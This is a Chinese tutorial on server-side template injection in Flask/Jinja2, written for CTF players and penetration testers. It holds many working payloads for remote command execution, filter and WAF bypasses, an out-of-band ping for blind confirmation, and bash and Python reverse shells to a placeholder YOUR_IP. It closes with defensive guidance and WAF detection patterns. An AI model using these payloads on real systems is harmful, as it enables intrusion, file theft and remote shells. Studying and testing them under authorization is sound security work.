1. 项目概述：为什么SSTI是Web安全领域的“定时炸弹”

如果你做过CTF或者渗透测试，肯定遇到过那种输入{{7*7}}，页面上就乖乖返回49的场景。这背后就是SSTI（服务端模板注入）在作祟。它不像SQL注入那样广为人知，但危害性一点不低，一旦成功利用，直接就是服务器权限到手。我这些年做安全评估，SSTI出现的频率越来越高，尤其是在一些快速开发的Python Web应用里，几乎成了“标配”漏洞。

简单来说，SSTI就是开发者图省事，把用户能控制的数据，未经任何处理就直接塞进了网页模板里。模板引擎的本意是让动态生成HTML更高效，比如在网页里显示用户名“Hello, {{user}}”。但如果这个{{user}}的内容是用户自己提交的，并且能被模板引擎解析执行，那就出大事了。攻击者提交的就不再是名字，而是一段能执行系统命令的代码。想象一下，你在一个网站的搜索框里输入一段特殊字符，结果直接把服务器上的密码文件给读出来了，这就是SSTI的威力。

这篇文章，我会以最常出问题的Python Jinja2模板引擎为例，带你从零开始，彻底搞懂SSTI。我们不只讲那个经典的{{''.__class__...}}的Payload，更要拆解它每一步背后的Python对象原理，以及面对各种五花八门的过滤（比如过滤下划线、引号、中括号）时，如何像搭积木一样构造出能绕过的攻击链。最后，我还会分享一些实战中的“骚操作”和自动化工具的使用心得，让你无论是打CTF还是做真实渗透，都能心里有底。

2. SSTI漏洞核心原理与Jinja2引擎深度解析

2.1 模板引擎的工作机制与漏洞根源

要理解SSTI，必须先明白模板引擎是干什么的。你可以把它看作一个“智能的文本替换工具”。开发者在HTML里写一些占位符（比如{{title}},{% for item in list %}），然后传入一个数据上下文（比如{‘title’: ‘首页’, ‘list’: [1,2,3]}），模板引擎就会根据语法规则，把占位符替换成真正的数据，生成最终的HTML页面。

Jinja2是Flask框架默认的模板引擎，它的语法非常直观。{{ ... }}里面的表达式会被计算并输出结果；{% ... %}用于执行控制语句，如循环和判断；{# ... #}则是注释。漏洞就出在{{ ... }}上，因为Jinja2会尽力去执行里面的任何Python表达式。

漏洞代码长什么样？看一个最典型的错误示范：

from flask import Flask, request, render_template_string app = Flask(__name__) @app.route(‘/vulnerable‘) def vulnerable(): user_input = request.args.get(‘name‘) # 致命错误：直接将用户输入拼接进模板字符串 template = f“<h1>Hello, {user_input}</h1>“ return render_template_string(template)

这段代码的本意是友好地问候用户。当用户访问/vulnerable?name=World，页面显示“Hello, World”。但问题在于，render_template_string函数会把整个字符串当作Jinja2模板来渲染。如果用户输入是{{2*3}}，那么拼接后的模板就成了<h1>Hello, {{2*3}}</h1>，Jinja2会执行2*3并输出6。这就确认了SSTI漏洞的存在。

这里的关键点在于：render_template_string本身不是危险的，危险的是开发者提前把不可信的用户输入和模板语法字符（{{）拼接在了一起。如果换一种写法，先定义好模板<h1>Hello, {{name}}</h1>，再以参数形式安全地传入name=user_input，Jinja2会将其视为普通字符串数据，而不会执行，这样就安全了。所以，SSTI的本质是“注入”，将模板语法注入到了本应是数据的位置。

2.2 Python对象模型：理解利用链的基石

几乎所有Jinja2 SSTI的利用链，最终目标都是执行系统命令（如os.popen(‘whoami’).read()）。但模板的沙箱环境通常没有直接导入os模块。怎么办？答案是从模板中已有的、合法的Python对象出发，“顺藤摸瓜”找到os模块。

这就要用到Python的反射机制和内省能力。在Jinja2的{{ ... }}中，我们可以访问对象的属性和方法。以下几个魔术方法是构建利用链的“脚手架”：

• __class__：获取任何对象所属的类。比如‘’.__class__返回<class ‘str’>，[].__class__返回<class ‘list’>。它让我们从实例对象跳转到类对象。
• __base__和__bases__：获取一个类的父类。__base__返回直接父类，__bases__返回包含所有直接父类的元组。在Python的单继承体系中，沿着__base__向上追溯，最终都会到达最顶层的<class ‘object’>。这是所有类的基类。
• __subclasses__()：这是一个方法，调用它会返回当前类的所有直接子类列表。在object类上调用它，就能拿到Python运行时环境中加载的几乎所有类。我们的目标os模块相关的类就藏在这个庞大的列表里。
• __init__：类的初始化方法。它是一个函数对象，拥有__globals__属性。
• __globals__：这是函数对象的一个关键属性，它返回一个字典，包含了该函数定义时所在的全局命名空间（global namespace）。如果这个函数是在某个模块（比如os）中定义的，那么__globals__里就会有对该模块的引用。这是我们获取os模块的“钥匙”。

一个生活化的比喻：假设你被困在一个没有门的房间里（沙箱环境），但房间里有一个任意物品（比如一个字符串‘’）。__class__告诉你这个物品的“出厂信息”（它是字符串类生产的）。__base__带你找到生产这个物品的“工厂”的“母公司”（object总公司）。__subclasses__()让你拿到这家“母公司”投资的所有“子公司”名单。你在这份名单里找到一家叫“os”的子公司，然后通过__init__.__globals__拿到了这家子公司的“总控钥匙”，最终可以执行“总公司”权限下的任何命令。

2.3 从探测到确认：SSTI漏洞的手动验证流程

在实战中，我们拿到一个输入点，不能一上来就扔复杂的利用链。需要一个由浅入深、步步为营的探测过程，目的是：1. 确认是否存在SSTI；2. 识别模板引擎类型；3. 探明过滤规则。

第一步：基础数学运算探测这是最温和的探测方式。尝试输入{{7*‘7‘}}。不同模板引擎对表达式的处理不同：

• Jinja2：会返回错误或空，因为它试图将字符串‘7’与数字7相乘。
• Twig (PHP)：会返回49，因为它将字符串‘7’转换成了数字。
• Smarty (PHP)：会返回7777777，因为它是字符串重复。 输入{{7*7}}，如果返回49，则强烈暗示存在SSTI且可能是Jinja2或Twig。

第二步：注入模板语法语句输入{{‘’}}或{{“”}}。如果页面原样输出引号，说明{{和}}被转义或过滤了，可能不存在SSTI。如果引号消失或页面报错，说明模板引擎尝试解析了它，存在注入可能。更进一步，可以尝试注入{% if 1 %}1{% endif %}，如果输出1，则确认模板语句可被执行。

第三步：利用Jinja2内置对象测试为了精准判断是Jinja2，可以测试其独有的内置对象或函数。例如，输入{{config}}。如果页面返回了一串包含配置信息的字符串（可能报错但显示了信息），那几乎可以断定是Flask + Jinja2环境，因为config是Flask应用的核心配置对象，默认在模板中可用。

第四步：构造无害的确认Payload在确认可能存在Jinja2 SSTI后，使用一个无害但能证明代码执行能力的Payload。我最常用的是：{{‘’.__class__}}如果页面上显示了<class ‘str’>或类似内容，那么恭喜你，SSTI漏洞实锤，并且你可以开始利用Python的对象链了。如果返回了其他内容（比如被过滤），则进入下一步——过滤探测。

注意：在实际渗透测试中，务必在授权范围内进行。前期的探测Payload应尽可能无害，避免使用os.system或os.popen等可能对目标系统造成影响的函数。确认漏洞后，也应优先读取文件（如/etc/passwd）而非执行命令，以评估风险。

3. 构建攻击链：从字符串到系统命令的完整路径

3.1 经典利用链拆解：一步步拿到os模块

理解了原理，我们来手把手组装那个经典的利用链。目标是：从一个空字符串‘’开始，最终执行os.popen(‘whoami’).read()。

第一步：找到对象所属的类{{‘’.__class__}}这步很简单，获取字符串实例的类，得到<class ‘str’>。

第二步：追溯到顶层基类object{{‘’.__class__.__base__}}对于str类，它的直接父类是<class ‘object’>。有些环境下，可能需要用__bases__[0]，因为__bases__返回元组。{{‘’.__class__.__bases__[0]}}效果相同。

第三步：获取所有子类列表{{‘’.__class__.__base__.__subclasses__()}}这一步是关键。它会在页面上输出一个非常长的列表，包含了当前Python环境中加载的所有类。我们的任务是在这个列表里找到包含os模块的类。通常，我们会寻找名为<class ‘os._wrap_close’>的类。它在不同环境下的索引位置（下标）可能不同，常见的有128, 132, 133等。

第四步：定位并调用目标子类假设os._wrap_close在索引132的位置。{{‘’.__class__.__base__.__subclasses__()[132]}}这就拿到了os._wrap_close这个类对象。

第五步：获取该类的初始化方法及其全局空间{{‘’.__class__.__base__.__subclasses__()[132].__init__}}这步获取类的__init__方法。然后：{{‘’.__class__.__base__.__subclasses__()[132].__init__.__globals__}}__globals__会返回一个巨大的字典，里面就包含了‘os‘: <module ‘os’ from ‘...‘>这样的键值对。

第六步：导入os模块并执行命令{{‘’.__class__.__base__.__subclasses__()[132].__init__.__globals__[‘os‘].popen(‘whoami‘).read()}}通过字典键‘os‘取出os模块，然后调用popen方法执行系统命令，并用read()读取命令输出。至此，整个利用链完成。

为什么是os._wrap_close？其实不一定是它，任何在__globals__中引入了os或subprocess等危险模块的类都可以。os._wrap_close是一个很常用的目标，因为它几乎总在子类列表中，且其__init__.__globals__稳定地包含了os模块。你可以写个脚本遍历__subclasses__()，检查每个类的__init__.__globals__是否包含‘os‘来寻找其他可用类。

3.2 简化利用链：利用Flask内置的“快捷方式”

上面那条链子又长又需要找索引，实战中并不高效。幸运的是，在Flask框架的模板中，默认提供了一些内置对象，它们本身就在模板的全局作用域里，我们可以直接利用，省去从object子类里大海捞针的步骤。

1. config对象：这是Flask应用的配置对象，它是一个类字典对象。其__init__.__globals__就包含了os模块。{{config.__class__.__init__.__globals__[‘os‘].popen(‘id‘).read()}}甚至在某些更宽松的环境下，config本身可能就直接有os属性（如果开发者不小心的话），但依赖__globals__更通用。

2. url_for函数：Flask用于生成URL的函数，它是一个全局函数。{{url_for.__globals__[‘os‘].popen(‘ls‘).read()}}这条链非常短，是我在CTF中最优先尝试的。

3. lipsum函数：Flask模板中用于生成随机文本的函数，同样是一个全局函数。{{lipsum.__globals__.os.popen(‘whoami‘).read()}}注意这里用了.os而不是[‘os‘]，前提是__globals__这个字典对象支持点号属性访问（通常可以）。

4. get_flashed_messages函数：用于获取Flash消息的函数。{{get_flashed_messages.__globals__[‘os‘].system(‘calc‘)}}system函数执行命令但不返回输出，适合启动进程。

使用简化链的优势：

• 长度短：更容易记忆和输入，尤其在手动测试时。
• 无需索引：不依赖__subclasses__()[xxx]，避免了因环境不同导致索引变化的问题。
• 稳定性高：这些是Flask的内置对象/函数，在Flask应用中普遍存在且位置固定。

3.3 无回显命令执行与文件操作技巧

不是所有命令执行都有回显。有时候你执行了os.system(‘rm /tmp/test‘)，页面一片空白，你怎么知道成功了？或者，你需要进行更复杂的文件操作。

1. 无回显命令执行验证

• 延时判断（Sleep）：{{‘’.__class__.__base__.__subclasses__()[132].__init__.__globals__[‘os‘].system(‘sleep 5‘)}}。如果页面响应延迟了5秒，说明命令执行成功。这是最经典的盲注判断方法。
• DNS外带（OOB）：如果服务器能出网，可以尝试触发DNS查询来证明命令执行。{{‘’.__class__.__base__.__subclasses__()[132].__init__.__globals__[‘os‘].system(‘ping -c 1 your-dns-log.com‘)}}或者用curl、wget访问你的服务器。你需要有一个能接收DNS或HTTP请求的监控平台。
• 写入文件再读取：{{‘’.__class__.__base__.__subclasses__()[132].__init__.__globals__[‘os‘].system(‘whoami > /tmp/out.txt‘)}}，然后再用文件读取的Payload去读/tmp/out.txt。

2. 文件读取的多种姿势执行命令cat /flag固然直接，但有时目标没有cat命令，或者你需要读取二进制文件、特定行等。

• 使用open函数：Python的open函数同样在__builtins__里。可以构造：{{‘’.__class__.__base__.__subclasses__()[132].__init__.__globals__[‘__builtins__‘][‘open‘](‘/etc/passwd‘).read()}}。注意，__builtins__是一个模块，里面包含了open、eval等内置函数。
• 使用popen读取：popen本身返回一个文件对象，用read()、readlines()或迭代读取。
• 读取源代码：在CTF中，flag可能在源代码里。可以尝试读取app.py、/proc/self/cwd/app.py（当前工作目录）或利用__file__属性（如果可用）来定位应用文件。

3. 进阶利用：获取交互式Shell如果条件允许（服务器出网且无防火墙限制），反弹一个Shell是最终目标。

• 使用bash反弹：{{config.__class__.__init__.__globals__[‘os‘].system(‘bash -c “bash -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1“‘)}}
• 使用python反弹：{{‘’.__class__.__base__.__subclasses__()[132].__init__.__globals__[‘os‘].system(‘python3 -c “import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\“YOUR_IP\“,YOUR_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\“/bin/sh\“, \“-i\“]);\“’)}}这个Payload较长，在构造时要注意引号转义，通常需要配合后续章节的绕过技巧。

4. 高级绕过技巧：应对各种过滤与WAF

真实的漏洞利用很少一帆风顺。开发者或WAF（Web应用防火墙）会设置各种过滤规则。我们的Payload需要像变形金刚一样，根据不同的过滤进行变换。

4.1 过滤规则探测与Payload组件分析

在构造绕过Payload前，必须先做“侦察”。我的习惯是使用一组简单的测试Payload来探明过滤规则：

实操心得：探测要循序渐进。先投石问路一个{{1}}，如果正常，再测试更复杂的字符。如果{{和}}直接被拦截，那可能不是SSTI或者过滤极其严格，需要考虑其他攻击面。另外，注意观察返回的错误信息，Jinja2的报错信息有时会泄露过滤规则甚至部分代码。

4.2 针对字符过滤的绕过策略

1. 过滤数字数字通常用于子类列表的索引[132]。绕过方法就是不使用数字索引。

• 策略：采用无索引的简化利用链。
• Payload示例：{{url_for.__globals__[‘os‘].popen(‘id‘).read()}}{{lipsum.__globals__.os.popen(‘ls‘).read()}}{{config.__class__.__init__.__globals__[‘os‘].popen(‘cat /flag‘).read()}}这些链完全不依赖__subclasses__()[数字]，完美绕过数字过滤。

2. 过滤单引号和双引号引号用于定义字符串，比如‘os‘和‘cat /flag‘。没有引号，我们如何传递这些字符串参数？

• 策略：利用request对象动态传参。Jinja2模板中可以访问Flask的request对象，它包含了请求的参数、Cookies等。
• Payload示例：{{‘’.__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.a].popen(request.args.b).read()}}访问URL时，在后面加上?a=os&b=cat+/flag。这样，request.args.a的值就是字符串‘os‘，request.args.b的值就是‘cat /flag‘，完全绕过了引号。
• 进阶：如果args（GET参数）也被过滤，可以尝试request.values（同时获取GET和POST参数）或request.cookies（通过Cookie传参）。{{‘’.__class__.__base__.__subclasses__()[132].__init__.__globals__[request.values.x].popen(request.values.y).read()}}对应的请求需要携带POST数据x=os&y=cat /flag，或者依然用GET参数也行。

3. 过滤中括号[]中括号用于字典键访问[‘os‘]和列表索引[132]。

• 策略：使用点号.进行属性访问，或结合request传参和attr()过滤器。
• Payload示例（点号访问）：{{url_for.__globals__.os.popen(request.values.cmd).read()}}&cmd=whoami这里用.os代替了[‘os‘]。前提是__globals__这个字典对象支持属性访问（在Jinja2/Python中通常可以）。
• Payload示例（无中括号链）：{{lipsum.__globals__.os.popen(request.values.cmd).read()}}同样使用点号，并利用request.values传递命令字符串。

4. 过滤下划线_这是比较棘手的过滤，因为我们的利用链严重依赖__class__、__globals__这些带下划线的魔术方法。

• 策略：使用Jinja2的attr()过滤器。attr()过滤器可以动态获取对象的属性。语法是obj|attr(‘attribute_name‘)，等价于obj.attribute_name。
• Payload示例：{{(lipsum|attr(‘__globals__‘)).os.popen(‘id‘).read()}}这里，lipsum|attr(‘__globals__‘)就相当于lipsum.__globals__。我们将包含下划线的属性名作为字符串传入，绕过了对_字符的直接过滤。
• 组合request绕过引号：如果连引号也过滤了，就把属性名也通过request传递。{{(lipsum|attr(request.values.a)).os.popen(request.values.b).read()}}&a=__globals__&b=cat+/flag这个Payload同时绕过了下划线和引号过滤。

5. 过滤关键字（如class,init,globals,os,popen）

• 策略：字符串拼接、编码、或利用其他函数。
• 字符串拼接：{{‘’.__cl‘ass‘.__base__.__subcl‘asses__‘()}}，如果过滤是简单的字符串匹配，中间插入无关字符可能绕过。更可靠的是用加号：{{‘’.__class__.__base__.__subclasses__()[132].__init__.__globals__[‘o‘+‘s‘].popen(‘id‘).read()}}
• 使用__import__：如果os被过滤，可以尝试直接导入。{{‘’.__class__.__base__.__subclasses__()[132].__init__.__globals__.__builtins__.__import__(‘os‘).popen(‘id‘).read()}}。__import__是内置函数，用于导入模块。
• 寻找替代模块：除了os，subprocess模块也常用于命令执行。可以在__globals__里寻找subprocess。Payload类似：{{‘’.__class__.__base__.__subclasses__()[132].__init__.__globals__[‘subprocess‘].Popen(‘whoami‘, shell=True, stdout=-1).communicate()[0]}}

4.3 综合绕过实战：CTF题目思路复现

我们模拟一个综合过滤场景：过滤了数字、单双引号、中括号、下划线和args关键字。这听起来很绝望，但利用上述技巧组合，依然可以突破。

目标：执行命令cat /flag。可用工具：request.values(或request.cookies),attr()过滤器，点号访问，无索引链。

构造思路：

1. 选择无数字、无中括号的起点：lipsum函数。
2. 使用attr()过滤器获取__globals__属性，绕过下划线过滤。
3. 使用request.values传递属性名和命令，绕过引号过滤。
4. 使用点号.访问os和popen，绕过中括号过滤。

最终Payload：{{(lipsum|attr(request.values.a)).os.popen(request.values.b).read()}}请求URL：http://target.com/vuln?name={{...}}&a=__globals__&b=cat+/flag

请求解析：

• name参数：承载我们的SSTI Payload。
• a参数：值为__globals__，作为字符串传递给attr()过滤器。
• b参数：值为cat /flag，作为字符串传递给popen()。
• 在模板渲染时，(lipsum|attr(request.values.a))被计算为lipsum.__globals__。
• 接着.os.popen(request.values.b)变成lipsum.__globals__.os.popen(‘cat /flag‘)。
• 最终成功执行命令并读取结果。

这个Payload几乎集成了所有绕过技巧，是应对复杂过滤的“瑞士军刀”。在实际CTF中，你需要根据题目反馈的过滤信息，像搭积木一样组合这些技巧。

5. 自动化工具与实战排查指南

5.1 高效利用自动化工具：SSTImap与Tplmap

手动构造Payload虽然灵活，但在黑盒测试或时间紧迫时，自动化工具能极大提升效率。这里介绍两款主流的SSTI利用工具。

1. SSTImap这是一个功能强大的开源工具，支持多种模板引擎（Jinja2, Mako, Tornado, Smarty, Twig等）。

• 基本探测：python3 sstimap.py -u “http://target.com/page?input=test“
• 强制引擎检测：如果自动检测失败，可以用--engine指定，如--engine jinja2。
• 交互式Shell：一旦确认漏洞，可以使用--os-shell参数尝试获取一个伪交互式Shell。python3 sstimap.py -u “http://target.com/page?input=test“ --os-shell
• 自定义Payload：如果遇到过滤，可以使用--level参数增加测试强度，或使用--technique指定利用技术。

我的使用心得：SSTImap的自动检测有时会因为WAF或特殊过滤而误判。我通常先用手动方式确认漏洞存在和引擎类型，然后再用SSTImap的--os-shell功能进行快速利用。它的优点是支持面广，但针对复杂绕过可能需要手动调整Payload。

2. Tplmap (Template Injection and Code Evaluation Tool)另一款经典工具，同样支持多引擎，其特色是能够自动识别并利用漏洞，最终尝试获取一个完全交互的TCP反向Shell。

• 基本使用：python2 tplmap.py -u “http://target.com/page?name=John“
• 获取Shell：python2 tplmap.py -u “http://target.com/page?name=John“ --os-shell
• Tplmap的优势在于其利用链比较成熟，对于常见的Jinja2环境，成功率很高。但需要注意的是，它依赖于Python2，且在一些新版本的环境或复杂过滤下可能失效。

重要提示：在授权测试中，使用--os-shell这类功能要格外谨慎，因为它会尝试在目标服务器上执行命令并建立连接。务必在测试计划允许的范围内操作。更好的做法是先使用--eval或文件读取功能验证漏洞，评估影响。

5.2 黑盒渗透测试中的SSTI排查流程

在企业安全评估或渗透测试中，发现和利用SSTI需要系统性的方法。

第一阶段：信息收集与输入点发现

1. 识别技术栈：通过Wappalyzer、WhatWeb等工具或观察HTTP响应头、错误页面、静态资源路径，判断目标是否使用Python（Flask/Django）、PHP（Twig/Smarty）、Java（Thymeleaf/FreeMarker）等可能使用模板引擎的技术。
2. 寻找潜在注入点：关注所有用户可控的输入，包括URL参数（GET）、表单数据（POST）、Cookie、HTTP头部（如User-Agent, Referer）。特别是那些在页面上“回显”的输入，如搜索框、用户名显示、错误信息包含用户输入等。

第二阶段：漏洞探测与确认

1. 初步试探：对每个输入点，依次提交{{7*7}}、{{‘’}}、<%= 7*7 %>（针对ERB）、${7*7}（针对某些引擎）等通用测试Payload。
2. 引擎识别：根据回显判断引擎类型。例如，{{7*‘7‘}}返回49可能是Twig，报错可能是Jinja2。
3. 无害确认：使用该引擎特定的、无害的探测Payload，如Jinja2的{{config}}或{{‘’.__class__}}，确认漏洞并获取环境信息。

第三阶段：过滤规则探测与绕过构造

1. 系统化测试：使用前面提到的探测表（{{2}},{{__}},{{[]}}等），快速摸清过滤规则。
2. 构造绕过Payload：根据过滤规则，从“简化利用链”开始尝试，逐步应用request传参、attr()过滤器、字符串拼接等绕过技巧。
3. 工具辅助：在手动构造的同时，可以启动SSTImap等工具进行辅助测试，特别是其--level高级别测试可能包含一些非常规的绕过方式。

第四阶段：漏洞利用与影响评估

1. 执行命令：成功构造Payload后，首先执行whoami、id、pwd等命令确认权限和当前目录。
2. 读取敏感文件：尝试读取/etc/passwd、/etc/shadow（需root）、应用配置文件、数据库连接文件、~/.bash_history、/proc/self/environ（环境变量）等。
3. 尝试反弹Shell：在授权和网络条件允许的情况下，尝试获取一个交互式Shell，以便进行更深入的渗透。
4. 文档化：详细记录漏洞点、Payload、利用过程、获取的敏感信息以及漏洞修复建议。

第五阶段：漏洞修复建议在报告中，除了描述漏洞，必须提供清晰的修复方案：

1. 根本方案：杜绝将用户输入直接拼接进模板。使用模板引擎的安全方式，即分离代码与数据。在Flask中，永远使用render_template(‘index.html‘, name=user_input)而不是render_template_string(‘Hello ‘ + user_input)。
2. 输入验证与过滤：如果业务确实需要动态模板，必须对用户输入进行严格的白名单过滤，只允许特定的、安全的字符。黑名单很容易被绕过。
3. 沙箱限制：对于Jinja2，可以考虑使用沙箱环境（SandboxedEnvironment），但要注意沙箱逃逸风险。这不是一个安全的修复方式，只能增加攻击难度。
4. 安全开发培训：对开发团队进行安全编码培训，提高对SSTI等注入类漏洞的认识。

6. 防御视角与安全开发实践

6.1 开发者如何避免引入SSTI漏洞

站在开发者的角度，避免SSTI其实原则非常简单：永远不要相信用户输入，永远不要将用户输入作为模板的一部分进行渲染。具体到实践：

1. 严格使用安全的API以Flask为例：

• 危险（漏洞）：

  template = “<h1>Hello, “ + user_input + “</h1>“ return render_template_string(template)

  或者

  return render_template_string(‘Hello, {{‘ + user_input + ‘}}‘)

• 安全（正确）：

  # 方法1：使用单独的模板文件，通过参数传递数据 return render_template(‘greeting.html‘, name=user_input)

  在greeting.html中：<h1>Hello, {{ name }}</h1>

  # 方法2：如果必须用render_template_string，确保模板字符串是固定的，变量通过参数传入 template_string = “<h1>Hello, {{ name }}</h1>“ return render_template_string(template_string, name=user_input)

  关键在于，模板中的{{ name }}是模板语法，而name这个变量的值user_input是数据。Jinja2会安全地将user_input的值作为纯文本输出，即使它包含{{}}，也会被转义（除非使用|safe过滤器）。

2. 实施输入验证与上下文转义

• 白名单验证：如果用户输入必须是特定格式（如用户名只能是字母数字），使用正则表达式进行严格校验。
• 上下文相关转义：Jinja2默认会对{{ }}输出的变量进行HTML转义，这防止了XSS。但如果你需要将用户输入放入JavaScript、CSS或URL上下文，需要使用对应的转义函数，如|tojson（用于JS）。

3. 使用更安全的模板设计模式避免让用户控制任何与模板结构或逻辑相关的内容。如果需要动态模板功能（比如CMS允许用户自定义页面样式），应该提供一个受限的模板语言或标记集合（如Markdown），而不是直接暴露完整的Jinja2语法。

6.2 运维与安全人员的监控与防护

即使开发阶段注意了，第三方库、历史代码也可能带来风险。运维和安全团队需要建立防线。

1. WAF（Web应用防火墙）规则部署具备SSTI防护能力的WAF。规则应能检测常见的SSTI攻击模式：

• 检测请求参数中是否包含大量的魔术方法序列（__class__,__base__,__globals__等）。
• 检测是否包含模板引擎语法特征（{{,}},{%,%},<%,%>等）与可疑函数名（os.popen,subprocess,eval,exec）的组合。
• 注意，高级绕过可能会拆分这些特征，因此WAF规则需要具备一定的模糊匹配和逻辑判断能力。

2. RASP（运行时应用自我保护）在应用内部部署RASP探针，可以更精准地检测攻击行为。例如，当Jinja2引擎在渲染模板时，如果发现正在解析的模板内容包含了通过请求参数传入的__class__等敏感字符串，RASP可以实时拦截并告警。

3. 日志审计与监控确保应用和Web服务器（如Nginx）的访问日志和错误日志被完整收集。监控日志中是否存在异常的、包含模板语法和Python反射关键字的请求。可以设置告警规则，对短时间内大量出现此类特征的请求进行告警。

4. 依赖库安全定期使用SCA（软件成分分析）工具扫描项目依赖，确保使用的Jinja2、Flask等库是最新版本，没有已知的严重漏洞。虽然SSTI主要是代码问题，但保持基础库的更新也是安全基线。

6.3 从漏洞利用中学习安全编码

研究SSTI的利用技巧，反过来能极大地加深对安全编码的理解。每一次绕过过滤的尝试，都是一次对输入验证逻辑的挑战。它告诉我们：

• 黑名单是无效的：试图过滤_、[、‘等字符，总有办法通过编码、拼接、替代函数（如attr()）来绕过。
• 深度防御是必要的：不能只依赖一层的过滤或WAF。需要在数据入口（输入验证）、处理层（安全API调用）、出口（输出编码）都做好防护。
• 理解底层原理是关键：作为开发者，了解一点攻击原理（比如Python的反射机制），能让你更清楚地知道为什么某种写法是危险的，从而从根本上避免它。

SSTI漏洞的挖掘和防御，是一场关于“信任”的博弈。攻击者试图让应用“信任”并执行恶意代码，而防御者的目标则是建立坚固的边界，确保只有受信的代码和数据才能被执行。通过透彻地理解这两面，无论是作为攻击方进行安全测试，还是作为防御方构建安全应用，你都能更加游刃有余。